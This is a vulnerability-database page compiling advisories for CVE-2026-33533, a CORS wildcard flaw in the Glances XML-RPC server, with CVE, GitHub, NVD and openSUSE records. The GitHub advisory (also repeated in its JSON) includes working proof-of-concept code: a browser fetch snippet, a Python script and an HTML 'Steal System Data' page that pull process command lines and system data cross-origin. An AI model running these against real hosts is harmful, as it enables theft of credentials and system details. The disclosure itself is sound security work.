Vulnerability-Lookup

CVE-2026-33533 (GCVE-0-2026-33533)

Vulnerability from cvelistv5 – Published: 2026-04-02 14:56 – Updated: 2026-04-02 18:48

Title

Glances Vulnerable to Cross-Origin System Information Disclosure via XML-RPC Server CORS Wildcard

Summary

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, the Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3.

Severity ?

7.1 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CWE

CWE-942 - Permissive Cross-domain Policy with Untrusted Domains

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	nicolargo	glances	Affected: < 4.5.3

GHSA-7P93-6934-F4Q7

Vulnerability from github – Published: 2026-03-30 17:00 – Updated: 2026-04-06 17:18

Summary

Glances Vulnerable to Cross-Origin System Information Disclosure via XML-RPC Server CORS Wildcard

Details

Summary

The Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).

Details

File: glances/server.py, class GlancesXMLRPCHandler, line 41

def send_my_headers(self):
    self.send_header("Access-Control-Allow-Origin", "*")

This header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.

The REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python's xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.

PoC

Prerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.

Step 1. Start the Glances XML-RPC server on the target machine:

glances -s -p 61209

Step 2. From any machine, run the Python PoC to confirm the issue server-side:

python3 poc_test.py TARGET_IP 61209

Step 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click "Steal System Data". The page will display the full system monitoring data retrieved cross-origin.

Step 4. Alternatively, paste this into any browser console while on any website:

fetch("http://TARGET_IP:61209/RPC2", {
    method: "POST",
    headers: {"Content-Type": "text/plain"},
    body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
}).then(r => r.text()).then(d => {
    let m = d.match(/<string>([\s\S]*?)<\/string>/);
    let data = JSON.parse(m[1].replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&"));
    console.log("Hostname:", data.system.hostname);
    console.log("Processes:", data.processlist.length);
    console.log("First process cmdline:", data.processlist[0].cmdline);
});

Verified output from testing on Glances 4.5.3_dev01 (current main branch):

[+] HTTP Status: 200
[+] Access-Control-Allow-Origin: *
[+] Successfully retrieved system data cross-origin.
Hostname:     claude
OS:           Linux 6.8.0-1024-gcp
Process count: 125
Top processes include full command lines with arguments
Total data categories exposed: 35

Impact

Any user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.

poc_test.py

#!/usr/bin/env python3
"""
PoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration

This script simulates the browser-based attack by sending a POST request with
Content-Type: text/plain (CORS simple request) to the Glances XML-RPC server.

The server responds with Access-Control-Allow-Origin: * which allows any
webpage to read the full response containing system monitoring data.

Usage: python3 poc_test.py [target_host] [target_port]
Default: python3 poc_test.py 127.0.0.1 61209
"""

import http.client
import json
import sys
import xmlrpc.client


def main():
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 61209

    print(f"[*] Target: {host}:{port}")
    print(f"[*] Simulating cross-origin request (Content-Type: text/plain)")
    print()

    conn = http.client.HTTPConnection(host, port, timeout=10)

    # XML-RPC payload sent as text/plain to avoid CORS preflight
    payload = '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
    headers = {
        "Content-Type": "text/plain",
        "Origin": "http://evil-attacker.com",
    }

    try:
        conn.request("POST", "/RPC2", body=payload, headers=headers)
        response = conn.getresponse()
    except Exception as e:
        print(f"[-] Connection failed: {e}")
        sys.exit(1)

    print(f"[+] HTTP Status: {response.status}")
    cors = response.getheader("Access-Control-Allow-Origin")
    print(f"[+] Access-Control-Allow-Origin: {cors}")
    print()

    if cors != "*":
        print("[-] CORS header is not wildcard. Attack would not work.")
        sys.exit(1)

    data = response.read()
    result = xmlrpc.client.loads(data)[0][0]
    parsed = json.loads(result)

    print("[+] Successfully retrieved system data cross-origin.")
    print()
    print("=== Stolen System Information ===")
    print()

    system = parsed.get("system", {})
    print(f"Hostname:     {system.get('hostname', 'N/A')}")
    print(f"OS:           {system.get('os_name', 'N/A')} {system.get('os_version', '')}")
    print(f"Platform:     {system.get('platform', 'N/A')}")
    print(f"Distribution: {system.get('linux_distro', 'N/A')}")
    print()

    cpu = parsed.get("cpu", {})
    print(f"CPU user:     {cpu.get('user', 'N/A')}%")
    print(f"CPU system:   {cpu.get('system', 'N/A')}%")
    print(f"CPU cores:    {cpu.get('cpucore', 'N/A')}")
    print()

    mem = parsed.get("mem", {})
    total_mb = round((mem.get("total", 0)) / 1024 / 1024)
    used_mb = round((mem.get("used", 0)) / 1024 / 1024)
    print(f"Memory:       {used_mb}MB / {total_mb}MB ({mem.get('percent', 'N/A')}%)")
    print()

    ip_info = parsed.get("ip", {})
    print(f"IP Address:   {ip_info.get('address', 'N/A')}")
    print(f"Subnet Mask:  {ip_info.get('mask', 'N/A')}")
    print()

    procs = parsed.get("processlist", [])
    print(f"Process count: {len(procs)}")
    print()
    print("Top 5 processes by CPU (with command lines):")
    for p in sorted(procs, key=lambda x: x.get("cpu_percent", 0), reverse=True)[:5]:
        cmdline = p.get("cmdline", [])
        cmd = " ".join(cmdline) if isinstance(cmdline, list) else str(cmdline)
        print(f"  PID {p.get('pid'):>6} | {p.get('name', 'N/A'):>20} | CPU {p.get('cpu_percent', 0):>5.1f}% | {cmd[:100]}")

    print()
    print(f"[+] Total data categories exposed: {len(parsed.keys())}")
    print(f"[+] Categories: {', '.join(sorted(parsed.keys()))}")


if __name__ == "__main__":
    main()

poc_cors_xmlrpc.html

<!DOCTYPE html>
<html>
<head><title>Glances XML-RPC CORS PoC</title></head>
<body>
<h2>Glances XML-RPC Cross-Origin Data Theft PoC</h2>
<p>Target: <input id="target" value="http://127.0.0.1:61209" size="40"></p>
<button onclick="exploit()">Steal System Data</button>
<pre id="output" style="background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;"></pre>
<script>
async function exploit() {
    const target = document.getElementById("target").value;
    const out = document.getElementById("output");
    out.textContent = "[*] Sending cross-origin XML-RPC request to " + target + "/RPC2\n";
    out.textContent += "[*] Content-Type: text/plain (CORS simple request, no preflight)\n\n";

    try {
        const resp = await fetch(target + "/RPC2", {
            method: "POST",
            headers: {"Content-Type": "text/plain"},
            body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
        });

        out.textContent += "[+] Response status: " + resp.status + "\n";
        out.textContent += "[+] CORS header: " + resp.headers.get("Access-Control-Allow-Origin") + "\n\n";

        const xml = await resp.text();
        const match = xml.match(/<string>([\s\S]*?)<\/string>/);
        if (match) {
            const data = JSON.parse(match[1].replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&"));
            out.textContent += "[+] === STOLEN SYSTEM DATA ===\n\n";
            out.textContent += "Hostname: " + (data.system?.hostname || "N/A") + "\n";
            out.textContent += "OS: " + (data.system?.os_name || "N/A") + " " + (data.system?.os_version || "") + "\n";
            out.textContent += "CPU cores: " + (data.cpu?.cpucore || "N/A") + "\n";
            out.textContent += "CPU usage: " + (data.cpu?.user || "N/A") + "% user\n";
            out.textContent += "Memory: " + Math.round((data.mem?.used||0)/1024/1024) + "MB / " + Math.round((data.mem?.total||0)/1024/1024) + "MB\n";
            out.textContent += "Processes: " + (data.processlist?.length || 0) + "\n\n";

            if (data.processlist?.length > 0) {
                out.textContent += "[+] Top 10 processes (with full command lines):\n";
                data.processlist.slice(0, 10).forEach(p => {
                    const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(" ") : (p.cmdline || "");
                    out.textContent += "  PID " + p.pid + " | " + p.name + " | " + cmd.substring(0,120) + "\n";
                });
            }

            if (data.network?.length > 0) {
                out.textContent += "\n[+] Network interfaces:\n";
                data.network.forEach(n => {
                    out.textContent += "  " + n.interface_name + " | RX: " + n.bytes_recv + " TX: " + n.bytes_sent + "\n";
                });
            }

            if (data.fs?.length > 0) {
                out.textContent += "\n[+] Filesystems:\n";
                data.fs.forEach(f => {
                    out.textContent += "  " + f.mnt_point + " | " + f.device_name + " | " + f.percent + "% used\n";
                });
            }
        }
    } catch(e) {
        out.textContent += "[-] Error: " + e.message + "\n";
    }
}
</script>
</body>
</html>

Severity ?

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T17:00:54Z",
    "nvd_published_at": "2026-04-02T15:16:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker\u0027s JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).\n\n### Details\n\nFile: glances/server.py, class GlancesXMLRPCHandler, line 41\n\n```python\ndef send_my_headers(self):\n    self.send_header(\"Access-Control-Allow-Origin\", \"*\")\n```\n\nThis header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.\n\nThe REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python\u0027s xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.\n\n### PoC\n\nPrerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.\n\nStep 1. Start the Glances XML-RPC server on the target machine:\n\n```\nglances -s -p 61209\n```\n\nStep 2. From any machine, run the Python PoC to confirm the issue server-side:\n\n```\npython3 poc_test.py TARGET_IP 61209\n```\n\nStep 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click \"Steal System Data\". The page will display the full system monitoring data retrieved cross-origin.\n\nStep 4. Alternatively, paste this into any browser console while on any website:\n\n```javascript\nfetch(\"http://TARGET_IP:61209/RPC2\", {\n    method: \"POST\",\n    headers: {\"Content-Type\": \"text/plain\"},\n    body: \u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n}).then(r =\u003e r.text()).then(d =\u003e {\n    let m = d.match(/\u003cstring\u003e([\\s\\S]*?)\u003c\\/string\u003e/);\n    let data = JSON.parse(m[1].replace(/\u0026lt;/g,\"\u003c\").replace(/\u0026gt;/g,\"\u003e\").replace(/\u0026amp;/g,\"\u0026\"));\n    console.log(\"Hostname:\", data.system.hostname);\n    console.log(\"Processes:\", data.processlist.length);\n    console.log(\"First process cmdline:\", data.processlist[0].cmdline);\n});\n```\n\nVerified output from testing on Glances 4.5.3_dev01 (current main branch):\n\n```\n[+] HTTP Status: 200\n[+] Access-Control-Allow-Origin: *\n[+] Successfully retrieved system data cross-origin.\nHostname:     claude\nOS:           Linux 6.8.0-1024-gcp\nProcess count: 125\nTop processes include full command lines with arguments\nTotal data categories exposed: 35\n```\n\n### Impact\n\nAny user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.\n\npoc_test.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration\n\nThis script simulates the browser-based attack by sending a POST request with\nContent-Type: text/plain (CORS simple request) to the Glances XML-RPC server.\n\nThe server responds with Access-Control-Allow-Origin: * which allows any\nwebpage to read the full response containing system monitoring data.\n\nUsage: python3 poc_test.py [target_host] [target_port]\nDefault: python3 poc_test.py 127.0.0.1 61209\n\"\"\"\n\nimport http.client\nimport json\nimport sys\nimport xmlrpc.client\n\n\ndef main():\n    host = sys.argv[1] if len(sys.argv) \u003e 1 else \"127.0.0.1\"\n    port = int(sys.argv[2]) if len(sys.argv) \u003e 2 else 61209\n\n    print(f\"[*] Target: {host}:{port}\")\n    print(f\"[*] Simulating cross-origin request (Content-Type: text/plain)\")\n    print()\n\n    conn = http.client.HTTPConnection(host, port, timeout=10)\n\n    # XML-RPC payload sent as text/plain to avoid CORS preflight\n    payload = \u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n    headers = {\n        \"Content-Type\": \"text/plain\",\n        \"Origin\": \"http://evil-attacker.com\",\n    }\n\n    try:\n        conn.request(\"POST\", \"/RPC2\", body=payload, headers=headers)\n        response = conn.getresponse()\n    except Exception as e:\n        print(f\"[-] Connection failed: {e}\")\n        sys.exit(1)\n\n    print(f\"[+] HTTP Status: {response.status}\")\n    cors = response.getheader(\"Access-Control-Allow-Origin\")\n    print(f\"[+] Access-Control-Allow-Origin: {cors}\")\n    print()\n\n    if cors != \"*\":\n        print(\"[-] CORS header is not wildcard. Attack would not work.\")\n        sys.exit(1)\n\n    data = response.read()\n    result = xmlrpc.client.loads(data)[0][0]\n    parsed = json.loads(result)\n\n    print(\"[+] Successfully retrieved system data cross-origin.\")\n    print()\n    print(\"=== Stolen System Information ===\")\n    print()\n\n    system = parsed.get(\"system\", {})\n    print(f\"Hostname:     {system.get(\u0027hostname\u0027, \u0027N/A\u0027)}\")\n    print(f\"OS:           {system.get(\u0027os_name\u0027, \u0027N/A\u0027)} {system.get(\u0027os_version\u0027, \u0027\u0027)}\")\n    print(f\"Platform:     {system.get(\u0027platform\u0027, \u0027N/A\u0027)}\")\n    print(f\"Distribution: {system.get(\u0027linux_distro\u0027, \u0027N/A\u0027)}\")\n    print()\n\n    cpu = parsed.get(\"cpu\", {})\n    print(f\"CPU user:     {cpu.get(\u0027user\u0027, \u0027N/A\u0027)}%\")\n    print(f\"CPU system:   {cpu.get(\u0027system\u0027, \u0027N/A\u0027)}%\")\n    print(f\"CPU cores:    {cpu.get(\u0027cpucore\u0027, \u0027N/A\u0027)}\")\n    print()\n\n    mem = parsed.get(\"mem\", {})\n    total_mb = round((mem.get(\"total\", 0)) / 1024 / 1024)\n    used_mb = round((mem.get(\"used\", 0)) / 1024 / 1024)\n    print(f\"Memory:       {used_mb}MB / {total_mb}MB ({mem.get(\u0027percent\u0027, \u0027N/A\u0027)}%)\")\n    print()\n\n    ip_info = parsed.get(\"ip\", {})\n    print(f\"IP Address:   {ip_info.get(\u0027address\u0027, \u0027N/A\u0027)}\")\n    print(f\"Subnet Mask:  {ip_info.get(\u0027mask\u0027, \u0027N/A\u0027)}\")\n    print()\n\n    procs = parsed.get(\"processlist\", [])\n    print(f\"Process count: {len(procs)}\")\n    print()\n    print(\"Top 5 processes by CPU (with command lines):\")\n    for p in sorted(procs, key=lambda x: x.get(\"cpu_percent\", 0), reverse=True)[:5]:\n        cmdline = p.get(\"cmdline\", [])\n        cmd = \" \".join(cmdline) if isinstance(cmdline, list) else str(cmdline)\n        print(f\"  PID {p.get(\u0027pid\u0027):\u003e6} | {p.get(\u0027name\u0027, \u0027N/A\u0027):\u003e20} | CPU {p.get(\u0027cpu_percent\u0027, 0):\u003e5.1f}% | {cmd[:100]}\")\n\n    print()\n    print(f\"[+] Total data categories exposed: {len(parsed.keys())}\")\n    print(f\"[+] Categories: {\u0027, \u0027.join(sorted(parsed.keys()))}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\npoc_cors_xmlrpc.html\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eGlances XML-RPC CORS PoC\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch2\u003eGlances XML-RPC Cross-Origin Data Theft PoC\u003c/h2\u003e\n\u003cp\u003eTarget: \u003cinput id=\"target\" value=\"http://127.0.0.1:61209\" size=\"40\"\u003e\u003c/p\u003e\n\u003cbutton onclick=\"exploit()\"\u003eSteal System Data\u003c/button\u003e\n\u003cpre id=\"output\" style=\"background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;\"\u003e\u003c/pre\u003e\n\u003cscript\u003e\nasync function exploit() {\n    const target = document.getElementById(\"target\").value;\n    const out = document.getElementById(\"output\");\n    out.textContent = \"[*] Sending cross-origin XML-RPC request to \" + target + \"/RPC2\\n\";\n    out.textContent += \"[*] Content-Type: text/plain (CORS simple request, no preflight)\\n\\n\";\n\n    try {\n        const resp = await fetch(target + \"/RPC2\", {\n            method: \"POST\",\n            headers: {\"Content-Type\": \"text/plain\"},\n            body: \u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n        });\n\n        out.textContent += \"[+] Response status: \" + resp.status + \"\\n\";\n        out.textContent += \"[+] CORS header: \" + resp.headers.get(\"Access-Control-Allow-Origin\") + \"\\n\\n\";\n\n        const xml = await resp.text();\n        const match = xml.match(/\u003cstring\u003e([\\s\\S]*?)\u003c\\/string\u003e/);\n        if (match) {\n            const data = JSON.parse(match[1].replace(/\u0026lt;/g,\"\u003c\").replace(/\u0026gt;/g,\"\u003e\").replace(/\u0026amp;/g,\"\u0026\"));\n            out.textContent += \"[+] === STOLEN SYSTEM DATA ===\\n\\n\";\n            out.textContent += \"Hostname: \" + (data.system?.hostname || \"N/A\") + \"\\n\";\n            out.textContent += \"OS: \" + (data.system?.os_name || \"N/A\") + \" \" + (data.system?.os_version || \"\") + \"\\n\";\n            out.textContent += \"CPU cores: \" + (data.cpu?.cpucore || \"N/A\") + \"\\n\";\n            out.textContent += \"CPU usage: \" + (data.cpu?.user || \"N/A\") + \"% user\\n\";\n            out.textContent += \"Memory: \" + Math.round((data.mem?.used||0)/1024/1024) + \"MB / \" + Math.round((data.mem?.total||0)/1024/1024) + \"MB\\n\";\n            out.textContent += \"Processes: \" + (data.processlist?.length || 0) + \"\\n\\n\";\n\n            if (data.processlist?.length \u003e 0) {\n                out.textContent += \"[+] Top 10 processes (with full command lines):\\n\";\n                data.processlist.slice(0, 10).forEach(p =\u003e {\n                    const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(\" \") : (p.cmdline || \"\");\n                    out.textContent += \"  PID \" + p.pid + \" | \" + p.name + \" | \" + cmd.substring(0,120) + \"\\n\";\n                });\n            }\n\n            if (data.network?.length \u003e 0) {\n                out.textContent += \"\\n[+] Network interfaces:\\n\";\n                data.network.forEach(n =\u003e {\n                    out.textContent += \"  \" + n.interface_name + \" | RX: \" + n.bytes_recv + \" TX: \" + n.bytes_sent + \"\\n\";\n                });\n            }\n\n            if (data.fs?.length \u003e 0) {\n                out.textContent += \"\\n[+] Filesystems:\\n\";\n                data.fs.forEach(f =\u003e {\n                    out.textContent += \"  \" + f.mnt_point + \" | \" + f.device_name + \" | \" + f.percent + \"% used\\n\";\n                });\n            }\n        }\n    } catch(e) {\n        out.textContent += \"[-] Error: \" + e.message + \"\\n\";\n    }\n}\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```",
  "id": "GHSA-7p93-6934-f4q7",
  "modified": "2026-04-06T17:18:18Z",
  "published": "2026-03-30T17:00:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-7p93-6934-f4q7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33533"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/dcb39c3f12b2a1eec708c58d22d7a1d62bdf5fa1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Glances Vulnerable to Cross-Origin System Information Disclosure via XML-RPC Server CORS Wildcard"
}

FKIE_CVE-2026-33533

Vulnerability from fkie_nvd - Published: 2026-04-02 15:16 - Updated: 2026-04-07 15:01

Severity ?

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/nicolargo/glances/commit/dcb39c3f12b2a1eec708c58d22d7a1d62bdf5fa1	Patch
security-advisories@github.com	https://github.com/nicolargo/glances/releases/tag/v4.5.3	Product, Release Notes
security-advisories@github.com	https://github.com/nicolargo/glances/security/advisories/GHSA-7p93-6934-f4q7	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	nicolargo	glances	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "5D5895A8-B817-4EFE-BA8C-A8A9156139A7",
              "versionEndExcluding": "4.5.3",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, the Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker\u0027s JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3."
    }
  ],
  "id": "CVE-2026-33533",
  "lastModified": "2026-04-07T15:01:52.177",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-02T15:16:39.390",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/nicolargo/glances/commit/dcb39c3f12b2a1eec708c58d22d7a1d62bdf5fa1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-7p93-6934-f4q7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-942"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

OPENSUSE-SU-2026:10519-1

Vulnerability from csaf_opensuse - Published: 2026-04-09 00:00 - Updated: 2026-04-09 00:00

Summary

glances-common-4.5.3-1.1 on GA media

Severity

Moderate

Notes

Title of the patch: glances-common-4.5.3-1.1 on GA media

Description of the patch: These are all security issues fixed in the glances-common-4.5.3-1.1 package on the GA media of openSUSE Tumbleweed.

Patchnames: openSUSE-Tumbleweed-2026-10519

CVE-2026-33533

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Vendor Fix To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

CVE-2026-33641

Vendor Fix To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".

References

URL

Category

	https://www.suse.com/support/security/rating/	external
	https://ftp.suse.com/pub/projects/security/csaf/o…	self
	https://www.suse.com/security/cve/CVE-2026-33533/	self
	https://www.suse.com/security/cve/CVE-2026-33641/	self
	https://www.suse.com/security/cve/CVE-2026-33533	external
